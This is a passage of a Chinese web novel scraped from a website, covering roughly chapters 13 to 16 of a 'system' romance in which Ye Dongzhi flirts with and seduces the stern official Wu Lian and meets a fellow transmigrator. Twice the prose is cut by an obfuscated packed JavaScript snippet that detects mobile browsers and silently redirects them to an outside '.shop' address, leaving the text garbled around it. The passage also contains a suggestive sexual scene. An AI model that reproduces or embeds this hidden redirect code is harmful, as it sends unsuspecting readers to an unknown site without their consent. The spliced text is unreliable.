就在刚才,这把剑杀掉了许多人。 若说她在府里除了最看不惯叶冬知,其次便是邬涟。 不过一个野种,也好意思自称她的兄长。 虽然她平日对邬涟算不上客气,但对方从未与她计较,她当时还只当他是心虚,而今日所见...... 她瞥见邬涟阴沉的脸色,忍不住打了个寒颤,讷讷道:“长、长兄。” 邬涟收了剑,没理会众人殷切的眼神,朝着屋内走去。 叶冬知才刚经历了极致的惊惧,她盯着面前突然出现的墨色锦靴,麻木地抬头。 入目是一张熟悉的脸,眉目冷沉,浑身的肃杀之气让她忍不住后退一步。 这番警惕恐惧的样子,倒是让邬涟怔了一瞬。 在与她的相处中,她是鲜活的,总爱言笑晏晏地戏弄她,得逞后嘴角会轻轻翘起,眼神狡黠灵动。 可如今她眼神呆滞,嘴角也没了笑意,一副了无生机的样子,像是朵枯萎的花朵。 连带着他的心也往下沉了沉。 如果,他再快些,她便不用受这些惊吓了。 瞥见她裸露的臂膀,邬涟将自己的披风解开,盖住她裸露在外的肌肤,语气竟然罕见地有了几分安抚与温柔。 “没事了。” 过了会,叶冬知才从地上缓缓坐起来。 她只是吓呆了。 方才她做过许多假设,若真是没有人来救她,便从了匪徒,至少还能活着。 况且她也并非真正的叶冬知,没把贞洁看得那么重。 背上出了一身冷汗,这会门打开,外面裹着血腥味的风一吹,她忍不住瑟缩了一下,裹紧了身上的披风。她现在最想干的事,是好好吃点东西,再睡一觉。 跨出门槛的时候,她瞥见老夫人正在与一年轻男子搭话。 就连一向跋扈的邬雯竟也规规矩矩,脸红红的,不时含羞带怯地看向那年轻男子,一副十足的小女儿情态。 她顺着视线看去,见一年约弱冠的少年红衣博带,意气风发,手中正握着一把银色弓箭。 看来,方才那一箭是他射出的。 见到叶冬知出来,少年立马大步向她走来,音色清朗,令人不由心生好感。 “这位姑娘没事吧,方才我隔得太远,只好匆忙射出一箭,希望没有误伤到你。” 叶冬知抬头看他一眼,她疲惫不堪,匆忙道谢之后便离去。 少年看她一眼,倒是有些意外。 这女子竟然不认识他。 而且,以往那些女子一见他,不管是闺阁小姐还是普通良家,都如邬雯一般羞赧。 可这女子眼中并无惊艳,也无羞涩。 倒不是他自恋,饶是他不常在京,也知道他与邬涟被人并称京都双壁。 当晚下了一场雨。 淅淅沥沥的雨声击打在屋檐上,叶冬知裹着被子总算好好睡了一觉。 第二天,她精神好些了,才从别人口中得知。 原来,昨日收到信后,来的只有邬涟与长安,按理来说,任凭邬涟如何武功盖世,也不可能在这么短时间内解决掉几十个匪徒。 恰巧他在路上遇到了回京的裴砚,对方又恰好有一队亲卫,二人配合之下,才能快速突破重围,救下屋内的众人。 说到裴砚此人,名气可是不次于邬涟。 作为当朝右相的嫡长孙,裴砚不光出身优渥,长相也可谓是丰仪神秀。 若邬涟是常年不化的山巅之雪,那裴砚便是山野之中那一抹春池。 温润、清冽,令人难以生出抗拒。 本来以他的身世,在京都横着走也是没问题的,要是想入仕,更是轻而易举。 但此人出身书香世家,却偏偏是个闲不住的性子,七岁时便已经跟着外祖父到军中历练,经历过大大小小几十场战役,硬是凭借自己闯出了一番名堂。 本来他是要继续留在军中,但奈不过右相不喜欢他舞刀弄枪,只好辞去军中职务,回到京都来。 因为受了一番惊吓,老夫人要求几个小辈都留在寺庙里静心几日,诵经拜佛,洗去晦气。 叶冬知不信神佛,在大殿干坐了许久,才找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525156|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时机溜了出来。 昨日自从邬涟到了此处,系统便发布了新任务,到现在,她还一点进度没拉。 吃完寺庙的晚斋,天将将擦黑。 邬涟住的地方不远,好在庙内人少,她避开人寻着邬涟住的院子去。 晚上的寺庙更显寂静空灵,只听得一阵剑鸣,剑身所过之处,带出阵阵破空之声。 有人晚上不睡觉,还在练剑。 还未待叶冬知看清那人的面容,那人倒是先发现了她。 裴砚在军中养成了习惯,每晚睡前都要练枪,但长枪携带起来笨重,进京后便换成了剑。 拐角处的姑娘身形单薄,容颜清绝,看过来的眼神似乎有些胆怯。 昨日从邬雯口中,他已经得知了对方的身份。 裴砚以为是自己吓到了对方,忙收起了剑,道:“是扰到叶小姐歇息了吗?抱歉,我本以为此处空旷无人,没想到......” “并非,只是碰巧路过此处,叨扰公子。” 叶冬知出声打断了他。 她没想到裴砚竟然在这里,思来想去还是晚点再去找邬涟。 虽然从打听的消息来看,裴砚不是爱嚼舌根之人,但保不齐说漏了嘴。 眼下,老夫人和邬雯也在这庙里,万一被那两人知道,又少不得一番麻烦。 想着,她便要转身离去。 “叶小姐!” 身后的人慌忙叫住了她。 叶冬知不解,回头等他开口。 裴砚微微攥了攥手掌,方道:“昨日我发现了一只耳坠,好像是你的东西,你等一下,我进屋拿给你。” 她下意识地摸了摸右边耳垂,是空的。 片刻之后,裴砚将东西递给她,上面坠着一只莹白的珍珠,光泽诱人,干净无暇,显然是被人精心擦拭过。 她将耳坠收好,轻轻一笑,“多谢!” 对上面前女子的视线,裴砚忽然有些不知所措。 这些年,美貌的女子他见过许多,出身世家大族的小姐们,看人的眼神克制、挑剔,甚至隐隐带着倨傲。 出身普通的,有些一听他的身份,眼中便有难以掩饰的算计和打量。 更有经历特殊的女子,一见他这般相貌的男子,便两眼如刀,恨不能让他当场暴毙,口中还叫骂“负心汉”、“不得好死”之类。 人间百态,他自是没有置喙他人的资格。 可叶冬知的眼神很特别,看他时,没有倨傲,也没有算计、敬畏,仿佛,他于她而言只是一个普通的人,与她没有什么不同。 换句话来说,她的眼中没有等级之分。 要知道,当今天下,世家占据半壁江山,更有京都裴杜,去天尺五的说法。 但她的眼神清亮,嘴角笑意真诚,让他一时有些发愣。 叶冬知又等了一个时辰,确认众人已经入睡,才蹑手蹑脚去寻邬涟。 借着檐下灯笼透出来的微弱的光,不多时,便摸到了邬涟的住处。 屋内还有光,看来邬涟还未歇息,房内不时传出一阵阵压抑的咳嗽声。 听长安说,邬涟为了查案两日未合眼,得知他们被绑的消息后又匆匆赶来,山上冷,一个不慎便染上了风寒。 门“吱呀”一声被人推开,邬涟穿着中衣,身上披着外裳,坐在桌前看书。 昏黄的烛光照亮他半边轮廓,根根分明纤长的睫毛像是镀上一层金粉,光辉尽数落在眼底。 他的唇并未绷起,眉宇间神色松弛,看起来心情还算不错。 听到声响,他目光并未从书本上移开,淡声道:“何事?” 脚步声停在了门口,却又在片刻后开始响动。似乎是疑心“长安”这般久都未答话,邬涟从烛光中将头抬起来。 他微微皱眉。 来人并不是长安,而是叶冬知。 她长发未束,一头青丝散落在单薄的脊背上。她里面着了中衣,外套了一件松松垮垮的衫子,便恍若无人朝着他走过来。 他心中有惊讶,也有羞愤,她竟然半夜潜进男子的卧房,如此行径,真是不知羞耻。 于是,他出言提醒,“叶小姐,这是我的卧房,你半夜来寻我,不合规矩。” 语罢,他将身上外衫穿好,即便穿了中衣,但中衣依旧不可让除妻子以外的女子看见。 叶冬知站在离他三步远的地方,朦胧的光晕将她丰盈窈窕的曲线吞噬,晕出些迷离的意味来。 她勾起红唇,“我知道啊。” 说着,她又向前两步,顺势拉开椅子坐在了他的对面,单手撑着颊边语气轻快:“我是特意来寻你的。” 14. 第 14 章 他视线掠过她笑意盈盈的眼睛,启唇:“你若有事,可明日再来寻我,或者告知长安即可。” 叶冬知却摇了摇头,直勾勾盯着他,话语中引人遐想。 “都说了是特意来寻你,怎么能让第三个人知道?而且我对大公子做的事,想必大公子也不会想让他人知晓吧?” 邬涟微微愣了愣,明显有点意外。 即便对方眼中没有规矩,但他依然恪守着自己的一套准则,因此,再开口时,他的语气明显凝重起来: “叶小姐,我对你并无任何想法。过往之事,虽是意外,但我自知已对不起义父,不可一犯再犯。” “你与我身份有别,更当自重。今日之事,我只当没有发生,你走吧。” 说着,他放下书,走到门前,拉开了门。 逐客之意明显。 但等他说完,对方不仅赖着不走,还翻看起他批注过的书。 至于他的话,更是一概不理。 邬涟抿唇,只觉像是一拳打在了棉花上,无可奈何,但偏偏又不能对她做什么。 叶冬知顺手翻了几页,发现所讲内容全是前朝刑法,读起来晦涩不堪,也是,邬涟这种人兴许连闲暇时的消遣也与旁人不同。 看了一会,她便没有兴趣,起身打量起邬涟暂住的房间来。 简单干净,一丝不苟,的确是他的风格。 她一边打量,一边思考怎么样才能将系统发布的台词说出来,虽然做过几次,业务渐渐熟练,但她到底还是有些羞耻的。 眼见赶不走她,邬涟索性自己又回来继续看书,将她看作空气。 他只要不理会她,她感到无趣,也自会离开。 一时间,室内有些静谧,只有书页翻动的声音。 屋内的窗户并未关严,一阵风将窗户吹了开头,霎时间,屋内卷进一阵风,将屋内的蜡烛吹灭。 周遭顿时陷入黑暗之中。 当视觉暂时无用之时,其他的感官就会被无限放大。 尤其是这个只属于他的空间中,多了一个人的时候。 因为常年浸淫在刑部,他的嗅觉分外灵敏。 在这个并不宽敞的屋子内,除了焚香的味道,还有另一道若隐若现的甜香。 邬涟起身想要去关上窗户。 室内着实算不上太明亮,只能隐约窥见一点窗户的影子。 顺着那抹影子,邬涟伸手将窗户合上,便准备回过身来,将吹灭的蜡烛点亮。 可一转身,就撞上一具柔软温暖的身体。 与此同时,一股甜香瞬间钻进鼻腔。 邬涟身子一僵,几乎是刹那就意识到这具身体是谁。 他正要后退两步,可身前的人却突地伸出手拉住他的手腕,借力朝他怀中倒去。 霎时,他心中警铃大作,正要推开身前的人,可那人的一双手臂却像一条蛇一般缠了上来,徐徐攀上他的腰间。 衣衫单薄,她贴上他腰上的瞬间,那股温凉的触觉透过薄薄的衣料,映在了他的肌肤上。 他挣脱不开,只得在黑暗中发出羞恼的声音,“你!” 邬涟伸手握住她的一只手腕,想扯开她的手臂,甫刚一碰到,他便听她道:“大公子,听!” 他一时间没有反应过来,“什么?” 然而下一刻,一只手轻轻在他胸口处点了点,语气恶劣,“你的心怎的跳得这般快?” 被她触碰到的地方仿佛被点了火,烫得他浑身一紧,连带着握住她的手也用了力气。 她吃痛地娇哼一声,另一只手泄愤般在他腰间攥了一下。 一种奇异的触感自腰间迅速蔓延开来,邬涟手足无措,脑中一团乱麻,不由得自喉间溢出一声压抑的闷哼。 “嗯......” 那声又沉又青涩的低哼在寂静的夜里格外明显。 没给他时间羞耻,她听见之后,身体又向他贴紧几分。 抱住他的女子身子软得像一团棉花,他甚至能感觉到她身上舒展的曲线,随着她的每一次呼吸,都透过相贴的肌肤清清楚楚传到他的脑中。 叶冬知从喉间溢出一声闷闷的低笑,仿佛透过那股热气钻进了他的耳朵。 “嘘!被你的随从听见可就不好了。” 感觉到他身体的僵硬,叶冬知本想就此收手,奈何系统交代给她的台词一句还未说出口。 她明知故问,“大公子是第一次与女子这般吗,为何身体绷得这般紧?” 话一出口,邬涟的身子明显绷得更紧,他压住将要出口的喘息,像是再也经受不了撩拨一般,伸出手想要用力推开她,语气中显然带了点慌张的怒气,“自重!” 叶冬知顺势离开了他,他陡然感觉到一阵放松,然而又有些憋闷,像是意犹未尽一般。 却不料下一刻,她忽地牵起他的手,手指摩挲着他玉一般的指节,宛如猎人逮住了猎物,在食用前很有耐心地开口: “大公子有同别人做过一件事吗?” 他没有回答,在一片沉默又暧昧的黑暗中。 叶冬知并不意外,早已经料到他的回答。 他本想甩开她的手,然后将她赶出去,可他没有。 邬涟的眉眼隐在昏暗中,恰好掩盖了他眼中的无措和羞愤,可在这之中,又夹杂着一股莫名的情绪,但他还不清楚这是什么。 又或者说他已经知道,却不想承认。 邬涟绷着唇,耳尖发烫,蓦地感觉到有什么湿润柔软的东西舔舐了他的指间,仅仅一瞬间,足以让他方寸大乱。 他意识到她做了什么,浑身几乎不可抑制地涌起一股不可置信的羞臊和怒气,他猛地甩开她的手,向后退了两步。 她竟然、竟然用舌头舔了他的指尖!实在是、实在是不知羞耻! 这般勾人的动作,她一个世家女子是从哪里学的? 他抑制不住心中的怒气,低声呵道:“叶冬知!” 这是第一次他如此叫她的名字。 连声音都带着羞愤的轻颤和失措。 一股燥意从耳尖一下蔓延到两颊之上,心脏跳得又快又急,邬涟这二十年何曾有过这般样子,可他偏偏还拿她没有办法! 叶冬知知道他纵使如何生气,也不会对她动手,便愈加放肆起来。 她朝着他走过去,直到将他逼至了墙角,她才踮起脚尖伏在他身上,吐气如兰道:“涟哥哥,你不喜欢吗?” “不如我教教你别的?” 邬涟唇几乎绷成一条直线,从口中挤出一个字:“你!” “嘘!小心被听到。” 叶冬知在黑暗中,眼睛亮得惊人,将手指抵在了他的唇上,笑意盈盈道。 她的大腿抵在他双腿之间,随着他微微颤抖的身体而无意摩挲着。 借着窗外的微光,邬涟盯着她的轮廓,正一点点向上攀上他的身子。 他指节紧紧攥着,指甲几乎要陷进掌心,浑身僵得厉害。 某个地方更是无法控制。 他越是压抑,越是不去想,它就越发猖獗。 终于,面前的人也似乎感受到了什么。 叶冬知僵了一瞬,然后吐出的话让邬涟此生难忘。 他听见她说: “原来,大公子果真天赋异禀。” “而且,还这样敏感。” “轰”地一声,热气蹿过四肢百骸。 邬涟只觉四周寂静无声,唯有耳中一片嗡鸣。 就在这时,门外传来长安的声音,“公子,您睡了吗,我怎么听见有女子的声音?” 女子的气息将他浑身包裹,他闭眼稳了稳心神,片刻之后才对着外面道:“无事,我已经歇息了。” 门外的长安并未起疑 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按照来时,叶冬知仍是与邬雯共乘一辆马车。 叶冬知上车之时,掀开帘子,发现邬雯早已经坐在其中,见她上来,目光很快又移向了别处。 对方对自己不客气,她也自然没必要对对方有好脸色。 马车徐徐前进,车内的邬雯不时将眼神投向她,却欲言又止。 过了好半晌,邬雯像是终于下定了决心,她绞着手中的手帕,开口道:“叶冬知,昨天我是被逼无奈才——” 马车陡然一个晃动,邬雯一时不察,差点摔在地上,口中的话自然戛然而止。 叶冬知扶住车壁,才堪堪稳住身体。 邬雯正要发怒,车外传来车夫的声音,“三小姐,叶小姐,马车出了问题,怕是不能再走了。” 二人出了马车,见马车的一个轮子磕在了一块硬石上,车轮已经扭曲,显然是不能够再行驶。 这次出行共带了三辆马车,一辆用于丫鬟乘坐与放置杂物,一辆便是老夫人在坐,还有一辆便是叶冬知与邬雯两人乘坐的这辆。 现下坏了一辆马车,如此一来,只能到别的马车上挤挤。 显然,邬雯也想清楚了这一点,当即就朝着老夫人所在的马车走了过去,语气委屈,“祖母,孙女乘坐的马车坏了,目前只能上来和您挤一挤了。” 老夫人掀开帘子,看着邬雯可怜兮兮站在泥泞之中,到底是自己的孙女,终是不忍心,于是叹了口气道:“上来吧。” 闻言,邬雯欢欢喜喜地上了马车,哪还记得之前对叶冬知的一点愧疚,这么远的路,她才不想和丫鬟挤在那么破的车厢里呢。 待邬雯上了马车,老夫人立刻撂了帘子。 叶冬知站在原地,她自知与老夫人的关系算不上亲厚,便也不打算自讨没趣,便走向最后的马车。 最后的马车是给丫鬟坐的,自是算不上好,叶冬知掀开帘子一看,里面坐了几个丫鬟,空余的地方被行李杂物塞得满满当当,哪里还有下脚的地方。 侯府的马车后面跟着裴砚一行人,见前面的马车突地停了下来,他一夹马腹走上前,扫视了一眼便心中有了个大概。 他走到叶冬知身侧,见她垂着头一言不发,薄衫将她衬得越发孱弱,眼中的无助被他看得清清楚楚。 见此,他道:“叶小姐,若是你不嫌齐,可与在下共乘一匹马。” 少年人坐于良驹之上,朝着她伸出手,暖阳轻风,将他额上的博带吹得飘动。 博带之下是一双清澈温柔的眼睛,让她不由得有些触动。 叶冬知正要点头说好,却见长安骑着马,从前面走了过来,对着她恭敬道:“叶小姐,公子让您过去坐马车,不必劳烦裴公子了。” 15. 第 15 章 叶冬知对上裴砚期待的目光,最终露出歉意的笑容,“多谢你的好意,裴公子。” 语罢,便跟着长安朝最前面的马车行去。 裴砚手中的缰绳无意识收紧了些,他看向叶冬知钻进了最前面的马车,这才收回目光。 甫自叶冬知一进马车才发现,邬涟所乘的马车与后面几辆马车大不相同,不仅宽敞,而且车中设施一应俱全。 车内燃着淡淡的熏香,闻起来凝神静气,令她陡然想起邬涟身上的味道,似乎也是这般。 自她进来,邬涟仍然端坐于其中,未将丝毫目光落在她身上。 车厢内两人都沉默着,叶冬知坐在车内,一时有些拘谨和不自在。 从空寂寺回京城的路着实算不上平整,一路颠簸,两侧的车帘被荡起弧度。 叶冬知靠在车壁上,精神有些不济,她扫了眼目不斜视的邬涟,才有些百无聊赖地撩开车帘,向外看去。 风从其间吹过来,令叶冬知混沌的脑子有了片刻的清明。 只是让叶冬知觉得很奇怪的是,原本一靠近邬涟时,脑子里的系统就会自己发出指令,可是今天两人同处于一个车厢许久,也未见系统有什么反应。 也许是系统暂时出了什么问题。 这个猜测她心情变得很好,就连嘴角无意识地轻轻翘了起来。 行了一段路,马车稍作停顿,众人拿出干粮将就一顿。 车身被人轻轻敲了敲,叶冬知掀开帘子,见裴砚拿着一包油纸包着的东西,里头应当是糕点一类。 果不其然,见她将视线投到他手中的油纸上时,裴砚腼腆地笑了起来,将手中的油纸包递了过去,道:“前些日子我路经江南,带了些当地的糕点,这在京城是极为少见的,叶小姐可要尝尝?” 寺庙里的斋饭吃得叶冬知愁眉苦脸的,再加上她现在饥肠辘辘,立马接了下来。 “谢谢!” 说着,她便拿起一块咬了一口。 入口绵密丝滑,甜而不腻,有些像慕斯的口感。 好吃! 见她很喜欢,裴砚将一整个油纸包都递过去,“你若是喜欢,都拿去吃吧。” 叶冬知有些不好意思,“你不是带给家里人吃的吗,我全部拿走不太好吧。” 裴砚又往前推了推,善解人意地开口,“我买了很多,不必介怀。” 闻言,她不再客气,伸手去接,却注意到一双与他的脸完全不符的手。 虽修长,但上面遍布疤痕和茧子。 察觉到面前女子的视线落在自己的手上,裴砚下意识将手缩了回去。 以往他是不在意的,甚至认为他的手是他这些年的战绩和功勋,但方才,他第一反应竟然是怕对方嫌弃。 毕竟,看起来确实有些狰狞和丑陋。 但让他意外的是,对方只是快速扫了一眼,眼中也没有什么异样。 他悄悄松了口气。 裴砚走后,叶冬知小心翼翼捧着糕点放下车帘,冷不丁听到身后的人问道:“你拿着什么?” 语气听起来比平日里更冷淡些。 叶冬知不明所以,只是拿给他看了看,回答道:“糕点。” 邬涟端坐在车内,衣衫一尘不染,墨发被玉冠束起,规矩得让人挑不出一丝错来。 他眉眼冷淡,眸色如沉沉墨玉,盯着她看了两眼,突而道:“江南的糕点多半甜腻,不比京中糕点爽口。” 叶冬知睨了他一眼,坐在离他较远的地方,垂着头,默默地拆开糕点,小声道了句,“我就喜欢甜的。” 邬涟握着茶盏的手顿了顿,默不作声饮下一口茶,长睫垂在眼下打出一片不悦的阴翳。 两人一时无言,车内只有叶冬知默默咀嚼的声音。 马车的帘子被邬涟掀起一半,是以车内还算亮堂。 叶冬知坐在一侧的软垫之上,捧着糕点吃得很香。 她头习惯性地微微垂着,露出的半截脖颈在水青色的衣衫衬托之下,像半截水洗的莲藕,莹亮白嫩。 邬涟手指划开一页书卷,目光却未落在书卷上,漫不经心朝着叶冬知所在的位置上看去。 她殷红的唇瓣一张一合,不紧不慢地将白色糕点一点点含进口中,咀嚼之间,不时能看见那条粉嫩的舌头。 记忆如潮水般涌来,昨夜发生的事情历历在目。 当他再回头看书卷时,却发现一个字也无法看进去。 昨夜她走后,他无论如何也无法平心静气入睡,躺在床上睁眼到天明。 她作为罪魁祸首,恼了他一夜,可她却一副无事发生的模样。 邬涟垂眸,心中没由来升起一阵烦闷。 他放下书卷,车内明明凉爽怡人,可他的指尖依旧隐隐发烫,就像是一块烙印一般,无时无刻不提醒着他,她曾对他做过的荒唐事。 叶冬知不知道邬涟心中的腹诽,她吃到一半,忽然感觉到有些噎,于是便放下糕点,看向邬涟身侧的矮几。 上面正巧摆放着一套茶具,茶壶中隐隐冒着升腾的热气。 叶冬知急于喝水缓解不适,她看了一眼邬涟,对方并未注意到她。 她伸手倒了一杯茶,便急慌慌地喝了一口,霎时间,茶水烫的她眼泪一下子就涌了出来。 茶水灌进喉咙里,叶冬知不适地咳嗽了几声,一张芙蓉面染上了绯色,就连莹白的耳朵也被烫红了。 邬涟见她这副狼狈的样子,心中烦闷才消散些许。 他自喉咙中极为短促溢出一声低沉的笑意。 “呵。” 叶冬知自是没有错过这声笑,她红着脸,眼眸中水雾尚未退散,狠狠瞪了一眼邬涟。 真是仙人面却长了一副黑心肠子。 吃过干粮,稍作整顿,众人便继续上路,沿着这条路再行驶约一个时辰,大约便能远远看见京城的城门了。 马车行驶到一段下坡的路段,路面颠簸,加之马车空间实在有限,叶冬知便使劲控制着自己不向邬涟的方向靠去。 车身陡然颠簸了一下,叶冬知刚刚放松片刻,整个身子向着邬涟的方向倾倒而去,正正好好伏倒在邬涟的膝上。 叶冬知有些慌乱地抬起头,对上邬涟沉沉的眼,似乎在他的眼中看到了果然如此的意味 他不动声色地抿下一口茶水,仿佛是在等待她将要开口的话。 就好像早已经料到她不会放过两人独处的机会,他倒是想看看,这次,自她口中出来的又是怎样令人害臊的言语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525158|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>让邬涟意外的是,叶冬知反应过来之后,便也只在他的膝上停留了片刻,之后马上直起身子,拉开两人的距离,坐回到原来的位置上去。 居然并没有什么越矩的行为。 马车徐徐行驶,叶冬知靠在车壁上小憩了一会,再次醒来时,已经回到了侯府。 还未下马车,便见邬彦领着管家等在门口。 前日他便得知祖母几人在空寂寺遇到了山匪,他忧心不已。 并且他还听说叶小姐此次险些受到欺辱,他更是心急如焚。 老夫人与邬雯乘坐的马车最先停下。 邬雯扶着老夫人出来,见到二人皆平安无事,邬彦松了口气。 虽然平日兄妹有些不和,但眼下邬雯遭了这么一遭,甫一见到亲兄长,她便红了眼眶,扑到邬彦的怀里哭了起来。 邬彦说了好一阵,才将邬雯哄好。 发泄过后,邬雯又闹着肚子饿,向小厨房点了许多菜,掺着老夫人进去了。 邬彦仍没有走,他的目光在人群中搜寻,但半天没有看见他心心念念的人。 奇怪,怎的不见叶小姐回来? 正当他疑惑之时,一只素白的手将车帘掀开,他看见她正从长兄的马车上下来! 邬彦不由得暗暗吃惊。 长兄有洁癖,更不喜与人触碰,这是府中人尽皆知的事。 至于他的马车,从没有他人坐过,即便当朝太子提过想与他共乘,都被拒绝,更别提其他人了。 可如今,长兄竟然允了叶小姐与自己同处一车。 吃惊过后,邬彦慌忙打量起她来。 见她虽形容消瘦了些,并无其他不妥,想来,该是长兄及时赶到,没让歹人得逞。 思及此,他开口时不免十分关切,“叶小姐,你没事吧?我都听说了,阿雯她......” 说话间,邬涟也已从马车上下来了。 他扫了眼邬彦的神色便已明了。 太明显了。 如此明显的爱慕,莫名地让他心里有些不舒服。 没等叶冬知开口,他便对邬彦冷声道: “我正要去寻你,把你这几日的课业拿来我看看。” 邬彦惊了一下,他这几日茶不思饭不想,课业都还没做完,眼下长兄一提,他顿时涨红了脸,“我还剩下一些......” 不待他说完,他方听得邬涟又道:“晚膳前我要看到,你近日越发懒怠了。” 邬彦崩着唇,下意识去看叶冬知的神色,只觉丢脸至极,但终究不敢多说,快步离去了。 很快,叶冬知也在阿蔷的搀扶下入了府,门口只剩下邬涟一人。 他注视着那个娉婷婀娜的身影,有些心烦。 其实,他本不至于对邬彦如此态度。 是他越来越无法忍受别的男人用那样的眼神看她。 在去空寂寺之前,他说服自己收起心思,往后,她过了门,他仍然可以平心静气唤她一声义母。 但现在,他好不容易才熄灭的念头又被她搅得一团乱。 她总是这般。 只管自己做了什么,不管规矩,也不管他会怎么想。 到头来,真正备受其扰的,也只有他一个人而已。 16. 第 16 章 回府后,叶冬知休息了几日。 这段时间她自认与邬涟亲近许多,想必他对自己的好感也有所增加,否则前几日他便不会让自己上他的马车。 她尝试在心里呼唤系统,想看看是否能看到攻略对象对自己的好感度。 系统依旧没有回应。 果然,她绑定的这烂系统平时除了装死,就是对她发布各种羞耻的任务,除此之外,别无他用。 永定侯府虽然大,但待久了也无趣,叶冬知想了想,便决定出门转转。 她来到这里有一段时间了,也没有几个相熟的人。 思来想去,她总算想到了两个勉强算的上熟悉的人。 她让阿蔷出去打听齐越白住在何处,她依稀记得上次他说自己也住在京中。 很快,阿蔷回来告诉她,京中姓齐的只有一家,不是皇亲国戚,也非达官贵人,而是皇商齐家。 原来是个富少,难怪穿得珠光宝气的。 她正想去找齐越白,却不成想有人先找上了她。 管家周叔差人来告诉她门外有一女子,有要事要寻她。 等叶冬知到府门处一看,果然是凌婵。 凌婵依旧穿着一身黑色劲装,腰间缠着一把软剑,见到她时,脸色十分着急。 未等叶冬知开口,她便忙道: “叶小姐,来寻你实乃无奈之举。我在京都打听许久,才知道你住在这里,原来叶兄竟然是当今刑部侍郎,只可惜我寻不到他,便只能先来永定侯府找你了。” 若非万不得已,凌婵是不会找上门的,这点从之前的相处中便已经看出来。 叶冬知很意外,“怎么了,出什么事了吗?” 闻言,凌婵叹了口气,蹙眉道:“齐越白他得了罕见的重病,看遍了许多名医都束手无策,直到前些日子才从一游医手中得了一个方子,眼下,还差一味极为珍贵的药材。” 说着,她有些不好意思,“我也是为此才来寻你。” 齐越白出身皇商,按理来说这天下什么样的药材齐家弄不到,思及此,叶冬知问:“我听说齐家富可敌国,若是重金悬赏,何愁寻不到药材?” 此话一出,凌婵神色更黯淡了些,“齐越白他......虽出身齐家,但他父母早逝,在族中人微言轻,而且齐家子嗣众多,他那些叔伯何曾在意他的生死,更别谈为他重金悬赏药材。” “我来寻你,是因为这味药材天下难寻,每年都是贡品,只有皇室才有。除了皇室,我听说也就只有永定侯府有两株,所以才......” 虽然心急如焚,但凌婵也知道叶冬知在府中的处境,若是她不愿意,她也并不强求,她们也不过几面之缘罢了。 药材虽然珍贵,叶冬知没有把握拿到,但到底不忍心看着齐越白就此身死。 思来想去,她决定先让凌婵带着自己去看看齐越白的情况。 齐越白被安置在一家客栈,还未打开门,便听到里面撕心裂肺的咳嗽声。 推门进去后,房内弥漫着一股浓重的药味。 齐越白半躺在床上,脸色苍白如纸,见到叶冬知,很是惊奇: “叶小姐怎么来了?” 叶冬知坐在床边,“我听说你病了来看看你。” 齐越白依旧是那副笑眯眯的模样,“小病而已,婵婵紧张得不行,反正死不了的。” “你闭嘴吧,大夫说你要是没那味药材,活不了多久了,省点力气吧。” 话虽是这样说,但凌婵的语气却有些哽咽,她背过身出门,去客栈的小厨房看药煎好没。 房内一时只剩下齐越白与叶冬知二人。 两人面面相觑了片刻,齐越白开口:“婵婵去找你是为了那味药材吧,叶小姐,药材贵重,想必也不是那么容易到手的,你不必将此事放在心上。” 叶冬知有些不忍,“按照凌婵所说,若是没药材,你真的会死吗?” 齐越白顿了一下,“不会。” 见他如此笃定,叶冬知好奇,“为何这么肯定,那么多大夫都说你无可救药了。” 本来“系统”二字已经到了嘴边,但齐越白斟酌了一下用词,换了一种对方能理解的说辞,“我还有未完成的事情,所以在此之前,无论发生什么都不会危及性命。” 叶冬知脑子疯狂运转,在脑海中理解他这句话的意思。 这听起来,怎么和她很像呢? 而且,她依稀记得之前他们几人一起遇到机关的时候,齐越白说了“变态”、“选择题”一类的词,当时她就觉得不对劲,只不过后来没细想而已。 难道...... 叶冬知缓慢抬头,她凝重地看着对方,试探问道:“你的意思是说你有系统?” 话音落下,齐越白原本颓靡的神色狠狠一震! 他眼神中迸发出铺天盖地的惊喜,“你、你也有?!” 叶冬知点了点头。 此刻,不必多言。 齐越白神情激动,满脸都是“老乡见老乡”的惺惺相惜之感。 这会,他是嗽也不咳了,人也不累了,连忙道:“我绑定的是‘我是大皇商’系统,要干掉原主的叔伯,拿到掌家权才算任务完成。你不知道这群商人有多难搞,心思重得要死,我到这里都一年了,还没什么进展,害,真是愁死我了。” 说完,他接着问,“你呢,你是什么系统?” 叶冬知扶着额头叹了口气,“攻略系统。” “攻略谁?” 齐越白继续追问,但他见到对方一脸难搞的表情,便已经明了。 不会是上次所见那位叶兄吧。 不过这两人的身份,还真是刺激啊。 想到此处,他露出促狭的笑容,“我懂我懂。” “这样,咱们同是天涯沦落人,你之后有什么事,可以来找我,毕竟——” “男人懂男人嘛。” 说着,他嘿嘿一笑,让那张原本清秀艳丽的脸都猥琐不少。 叶冬知点点头,对齐越白生出许多亲近之感,也不忍看他受病痛折磨,于是道:“那味药材我想办法看能不能拿到,你也不想凌婵姑娘一直为你担心吧。” 提到凌婵,齐越白脸上浮现出些许落寞,但很快又恢复到平日那副乐呵呵的样子,“无妨,你尽力就好,就算没有那味药,有系统我也死不了的。” 离开客栈后,叶冬知思索着如何拿到那味药材。 她首先想到了老夫人。 现在侯府无主母,掌家权都在老夫人手中。老夫人不喜她,这么珍贵的药材也定然不会给她。 若是永定侯回府后,她去讨要,兴许能拿到,但如此一来,齐越白又要多受些苦。 思来想去,只剩下一个人。 